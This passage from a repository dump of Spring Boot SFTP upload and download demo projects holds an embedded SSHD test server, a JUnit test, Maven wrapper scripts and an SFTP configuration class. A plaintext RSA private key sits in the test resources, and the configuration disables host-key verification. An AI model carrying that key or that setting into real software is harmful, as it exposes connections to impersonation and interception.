org.apache.sshd.server.subsystem.sftp.SftpSubsystemFactory; 24 | import org.springframework.beans.factory.InitializingBean; 25 | import org.springframework.context.SmartLifecycle; 26 | import org.springframework.core.io.ClassPathResource; 27 | import org.springframework.util.SocketUtils; 28 | import org.springframework.util.StreamUtils; 29 | 30 | /** 31 | * SFTP server for integration testing 32 | * @author Artem Bilan 33 | * @author pavel.sklenar 34 | */ 35 | public class EmbeddedSftpServer implements InitializingBean, SmartLifecycle { 36 | 37 | public static final int PORT = SocketUtils.findAvailableTcpPort(); 38 | 39 | private final SshServer server = SshServer.setUpDefaultServer(); 40 | 41 | private volatile int port; 42 | 43 | private volatile boolean running; 44 | 45 | public void setPort(int port) { 46 | this.port = port; 47 | } 48 | 49 | @Override 50 | public void afterPropertiesSet() throws Exception { 51 | final PublicKey allowedKey = decodePublicKey(); 52 | this.server.setPublickeyAuthenticator(new PublickeyAuthenticator() { 53 | 54 | @Override 55 | public boolean authenticate(String username, PublicKey key, ServerSession session) { 56 | return key.equals(allowedKey); 57 | } 58 | 59 | }); 60 | this.server.setPort(this.port); 61 | this.server.setKeyPairProvider(new SimpleGeneratorHostKeyProvider(Files.createTempFile("host_file", ".ser"))); 62 | this.server.setSubsystemFactories(Collections.>singletonList(new SftpSubsystemFactory())); 63 | server.setFileSystemFactory(new VirtualFileSystemFactory(Files.createTempDirectory("SFTP_TEMP"))); 64 | server.setCommandFactory(new ScpCommandFactory()); 65 | } 66 | 67 | public void setHomeFolder(Path path) { 68 | server.setFileSystemFactory(new VirtualFileSystemFactory(path)); 69 | } 70 | 71 | 72 | private PublicKey decodePublicKey() throws Exception { 73 | InputStream stream = new ClassPathResource("/keys/sftp_rsa.pub").getInputStream(); 74 | byte[] decodeBuffer = Base64.decodeBase64(StreamUtils.copyToByteArray(stream)); 75 | ByteBuffer bb = ByteBuffer.wrap(decodeBuffer); 76 | int len = bb.getInt(); 77 | byte[] type = new byte[len]; 78 | bb.get(type); 79 | if ("ssh-rsa".equals(new String(type))) { 80 | BigInteger e = decodeBigInt(bb); 81 | BigInteger m = decodeBigInt(bb); 82 | RSAPublicKeySpec spec = new RSAPublicKeySpec(m, e); 83 | return KeyFactory.getInstance("RSA").generatePublic(spec); 84 | 85 | } 86 | else { 87 | throw new IllegalArgumentException("Only supports RSA"); 88 | } 89 | } 90 | 91 | private BigInteger decodeBigInt(ByteBuffer bb) { 92 | int len = bb.getInt(); 93 | byte[] bytes = new byte[len]; 94 | bb.get(bytes); 95 | return new BigInteger(bytes); 96 | } 97 | 98 | @Override 99 | public boolean isAutoStartup() { 100 | return PORT == this.port; 101 | } 102 | 103 | @Override 104 | public int getPhase() { 105 | return Integer.MAX_VALUE; 106 | } 107 | 108 | @Override 109 | public void start() { 110 | try { 111 | server.start(); 112 | this.running = true; 113 | } 114 | catch (IOException e) { 115 | throw new IllegalStateException(e); 116 | } 117 | } 118 | 119 | @Override 120 | public void stop(Runnable callback) { 121 | stop(); 122 | callback.run(); 123 | } 124 | 125 | @Override 126 | public void stop() { 127 | if (this.running) { 128 | try { 129 | server.stop(false); 130 | } 131 | catch (IOException e) { 132 | throw new IllegalStateException(e); 133 | } 134 | finally { 135 | this.running = false; 136 | } 137 | } 138 | } 139 | 140 | @Override 141 | public boolean isRunning() { 142 | return this.running; 143 | } 144 | 145 | public SshServer getServer() { 146 | return server; 147 | } 148 | 149 | } 150 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/test/java/com/pavelsklenar/SpringSftpDownloadDemoApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import static org.junit.Assert.assertTrue; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.nio.file.Files; 8 | import java.nio.file.Path; 9 | import java.nio.file.Paths; 10 | import java.util.concurrent.Callable; 11 | import java.util.concurrent.ExecutionException; 12 | import java.util.concurrent.Executors; 13 | import java.util.concurrent.Future; 14 | import java.util.concurrent.TimeUnit; 15 | import java.util.concurrent.TimeoutException; 16 | 17 | import org.junit.After; 18 | import org.junit.AfterClass; 19 | import org.junit.Before; 20 | import org.junit.BeforeClass; 21 | import org.junit.Test; 22 | import org.junit.runner.RunWith; 23 | import org.springframework.beans.factory.annotation.Value; 24 | import org.springframework.boot.test.context.SpringBootTest; 25 | import org.springframework.test.context.TestPropertySource; 26 | import org.springframework.test.context.junit4.SpringRunner; 27 | 28 | @RunWith(SpringRunner.class) 29 | @SpringBootTest 30 | @TestPropertySource(properties = { "sftp.port = 10022", "sftp.remote.directory.download.filter=*.xxx"}) 31 | public class SpringSftpDownloadDemoApplicationTests { 32 | 33 | private static EmbeddedSftpServer server; 34 | 35 | private static Path sftpFolder; 36 | 37 | @Value("${sftp.local.directory.download}") 38 | private String localDirectoryDownload; 39 | 40 | 41 | @BeforeClass 42 | public static void startServer() throws Exception { 43 | server = new EmbeddedSftpServer(); 44 | server.setPort(10022); 45 | sftpFolder = Files.createTempDirectory("SFTP_DOWNLOAD_TEST"); 46 | server.afterPropertiesSet(); 47 | server.setHomeFolder(sftpFolder); 48 | // Starting SFTP 49 | if (!server.isRunning()) { 50 | server.start(); 51 | } 52 | } 53 | 54 | @Before 55 | @After 56 | public void clean() throws IOException { 57 | Files.walk(Paths.get(localDirectoryDownload)).filter(Files::isRegularFile).map(Path::toFile) 58 | .forEach(File::delete); 59 | } 60 | 61 | @Test 62 | public void testDownload() throws IOException, InterruptedException, ExecutionException, TimeoutException { 63 | // Prepare phase 64 | Path tempFile = Files.createTempFile(sftpFolder, "TEST_DOWNLOAD_", ".xxx"); 65 | 66 | // Run async task to wait for expected files to be downloaded to a file 67 | // system from a remote SFTP server 68 | Future future = Executors.newSingleThreadExecutor().submit(new Callable() { 69 | @Override 70 | public Boolean call() throws Exception { 71 | Path expectedFile = Paths.get(localDirectoryDownload).resolve(tempFile.getFileName()); 72 | while (!Files.exists(expectedFile)) { 73 | Thread.sleep(200); 74 | } 75 | return true; 76 | } 77 | }); 78 | 79 | // Validation phase 80 | assertTrue(future.get(10, TimeUnit.SECONDS)); 81 | assertTrue(Files.notExists(tempFile)); 82 | } 83 | 84 | @AfterClass 85 | public static void stopServer() { 86 | if (server.isRunning()) { 87 | server.stop(); 88 | } 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/test/resources/keys/sftp_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEAzEAf70wmOkBBfvz+92UGc4I+SwVBvICj2wF3VnBP19IN44LD 3 | 6cW+/jRoqjaT/qFSELC/UO0wbL9f1+8XOrHekpjP1Ez/CxdM5X9BkrxHoQtgU/fB 4 | gog6iPASqWYxujvPqTxAWPDOYhji7Q1Es5Yc8le5D3AA2Cx5f89X7LFPsdlDC+wa 5 | EpoIdFz3Nrvhr+vufElZNoqQGTpmlmQ8s1gHN7HM8/w5EHkf3KY9OOx1XNWW/zOW 6 | uGo2CNfCmvplYSnokJx3NzSsBOmcXMJWnG1Sv33sqX6Xqx0DpY+hHun+oboZ1cfc 7 | eNlddQONU6IffFiNhFQ3qruBHE8RxyZ7SYaW3QIDAQABAoIBAQCclFgm+eigZVwQ 8 | fuDzRTZR3Lnmhywi1zdGEHStBkKfP/+3typ7j0Xg2MqYGmkQHhmsg+LWpk6mP3u5 9 | LShQrcTj+1Pv++rVVNJ1aT4awE3lLrR1Co0FhWviSLD1vktG6s1CftcRl+GPoGZu 10 | tepCBkVAn3FWXVW4YzftfEV6RV/EBVzZLySXeaQyKl8ln3yEBpOPkevy8uLC20O9 11 | OKDGa30gEP215Kvx1rkvs6jXeMdeH+reEfvyYD8+SMcE60lyY8ntwKhrd/OiZP48 12 | Fqp4kVEBf/u5DSeQbABLCW2uteHAMFzm/weOHDIIBm2aQzmrokw8IYuYiAyTpnDd 13 | yqlJN+99AoGBAOegXlfK/6aVxpeygRatSRD+JI9p/7Hi9ShQ/VCANyc1RTKvDHIA 14 | j5On1Hnwm1czFMr3CPs78MQa8uDlZEa19HbUAEgSp9X6nIPYi5Fo0Q3Fyp1O122S 15 | QAA0mthGiEsneWMgRDordHgGFVoWcDbTWCH61bkisNufK90b/90TXVoPAoGBAOG+ 16 | SyW5aJTGHw01vHyNnnMWyloNMwd55vGp7Zhb7m1qUIci8WixJ3Jr1exLhhnc8Bpl 17 | DU2sA4x2r6c1yozNozAw/KkLoa0JFISUg8eqprO0kMg6W9SP57xW2ooUMwEOJbkC 18 | pjlgVcw3AXPfBZwCmujNG0wxc5TVVulgjQk0y1xTAoGBAK9RdjdTYp/vfAq0RPsq 19 | HETtaDTZEX3OgKuMacA13AkkTAUp8+ySOhqUDMJjeODOvC1IQJcQ7pMwpqfNWVIg 20 | RTJwEup6nGjdMPymujVMtfeLv2nEFFFOQn0lVBLhiCYCceGyuZGh9J0oVZ8DntoQ 21 | rAPEPWLNPDpvxx6sI8Vs89rHAoGATLypQuuh92DZ0V3A8v4ZLLpEkxQFkrcHoILJ 22 | N4+Yny0Srr1cHuCJrkWl9Ks/rK8EF5TeTtb4Zdk6oLaSYgbNQGaGnNhNX0rE5MSv 23 | f0ItZM0uokHkUX+RoN5Nb76qD+PFQvz5kGuE/uR74+2eNIhWLGj8rIvq5F8ZKkAd 24 | 8VE3B+0CgYEAnrh436/L4s9RI9kbKfd99PEl87DFOYB3/v4g4n4Xoi9843dYDjgX 25 | bl1JLbD2jv5HYMs55sHK9Rz/aWiTTDCoONkHL5b84ZDrPJnKzzzwMAND4RivJBYK 26 | ORr+P2OrWEIt57CvLxTYB2RjHQdJ7+r8fxjyRGkkkxJScdsDhCBYisk= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/test/resources/keys/sftp_rsa.pub: -------------------------------------------------------------------------------- 1 | AAAAB3NzaC1yc2EAAAADAQABAAABAQDMQB/vTCY6QEF+/P73ZQZzgj5LBUG8gKPbAXdWcE/X0g3jgsPpxb7+NGiqNpP+oVIQsL9Q7TBsv1/X7xc6sd6SmM/UTP8LF0zlf0GSvEehC2BT98GCiDqI8BKpZjG6O8+pPEBY8M5iGOLtDUSzlhzyV7kPcADYLHl/z1fssU+x2UML7BoSmgh0XPc2u+Gv6+58SVk2ipAZOmaWZDyzWAc3sczz/DkQeR/cpj047HVc1Zb/M5a4ajYI18Ka+mVhKeiQnHc3NKwE6ZxcwlacbVK/feypfperHQOlj6Ee6f6huhnVx9x42V11A41Toh98WI2EVDequ4EcTxHHJntJhpbd 2 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | 12 | ### IntelliJ IDEA ### 13 | .idea 14 | *.iws 15 | *.iml 16 | *.ipr 17 | 18 | ### NetBeans ### 19 | nbproject/private/ 20 | build/ 21 | nbbuild/ 22 | dist/ 23 | nbdist/ 24 | .nb-gradle/ -------------------------------------------------------------------------------- /spring-sftp-upload-demo/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-sftp-upload-demo/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-sftp-upload-demo/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.0/apache-maven-3.5.0-bin.zip 2 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | spring-sftp-upload-demo 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | spring-sftp-upload-demo 12 | Demo project spring sftp upload 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.4.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-integration 31 | 32 | 33 | 34 | org.springframework.integration 35 | spring-integration-sftp 36 | 37 | 38 | 39 | org.apache.sshd 40 | sshd-core 41 | 1.4.0 42 | test 43 | 44 | 45 | 46 | commons-codec 47 | commons-codec 48 | 1.15 49 | test 50 | 51 | 52 | 53 | 54 | org.springframework.boot 55 | spring-boot-starter-test 56 | test 57 | 58 | 59 | 60 | 61 | 62 | 63 | org.springframework.boot 64 | spring-boot-maven-plugin 65 | 66 | 67 | 68 | 69 | 70 | 71 | spring-snapshots 72 | Spring Snapshots 73 | https://repo.spring.io/snapshot 74 | 75 | true 76 | 77 | 78 | 79 | spring-milestones 80 | Spring Milestones 81 | https://repo.spring.io/milestone 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | 90 | spring-snapshots 91 | Spring Snapshots 92 | https://repo.spring.io/snapshot 93 | 94 | true 95 | 96 | 97 | 98 | spring-milestones 99 | Spring Milestones 100 | https://repo.spring.io/milestone 101 | 102 | false 103 | 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/main/java/com/pavelsklenar/SftpConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import java.io.File; 4 | 5 | import org.springframework.beans.factory.annotation.Value; 6 | import org.springframework.context.annotation.Bean; 7 | import org.springframework.context.annotation.Configuration; 8 | import org.springframework.core.io.Resource; 9 | import org.springframework.expression.common.LiteralExpression; 10 | import org.springframework.integration.annotation.Gateway; 11 | import org.springframework.integration.annotation.MessagingGateway; 12 | import org.springframework.integration.annotation.ServiceActivator; 13 | import org.springframework.integration.file.FileNameGenerator; 14 | import org.springframework.integration.file.remote.session.CachingSessionFactory; 15 | import org.springframework.integration.file.remote.session.SessionFactory; 16 | import org.springframework.integration.sftp.outbound.SftpMessageHandler; 17 | import org.springframework.integration.sftp.session.DefaultSftpSessionFactory; 18 | import org.springframework.messaging.Message; 19 | import org.springframework.messaging.MessageHandler; 20 | 21 | import com.jcraft.jsch.ChannelSftp.LsEntry; 22 | 23 | @Configuration 24 | public class SftpConfig { 25 | 26 | @Value("${sftp.host}") 27 | private String sftpHost; 28 | 29 | @Value("${sftp.port:22}") 30 | private int sftpPort; 31 | 32 | @Value("${sftp.user}") 33 | private String sftpUser; 34 | 35 | @Value("${sftp.privateKey:#{null}}") 36 | private Resource sftpPrivateKey; 37 | 38 | @Value("${sftp.privateKeyPassphrase:}") 39 | private String sftpPrivateKeyPassphrase; 40 | 41 | @Value("${sftp.password:#{null}}") 42 | private String sftpPasword; 43 | 44 | @Value("${sftp.remote.directory:/}") 45 | private String sftpRemoteDirectory; 46 | 47 | @Bean 48 | public SessionFactory sftpSessionFactory() { 49 | DefaultSftpSessionFactory factory = new DefaultSftpSessionFactory(true); 50 | factory.setHost(sftpHost); 51 | factory.setPort(sftpPort); 52 | factory.setUser(sftpUser); 53 | if (sftpPrivateKey != null) { 54 | factory.setPrivateKey(sftpPrivateKey); 55 | factory.setPrivateKeyPassphrase(sftpPrivateKeyPassphrase); 56 | } else { 57 | factory.setPassword(sftpPasword); 58 | } 59 | factory.setAllowUnknownKeys(true); 60 | return new CachingSessionFactory(factory); 61 | } 62 | 63 | @Bean 64 | @ServiceActivator(inputChannel = "toSftpChannel") 65 | public MessageHandler handler() { 66 | SftpMessageHandler handler = 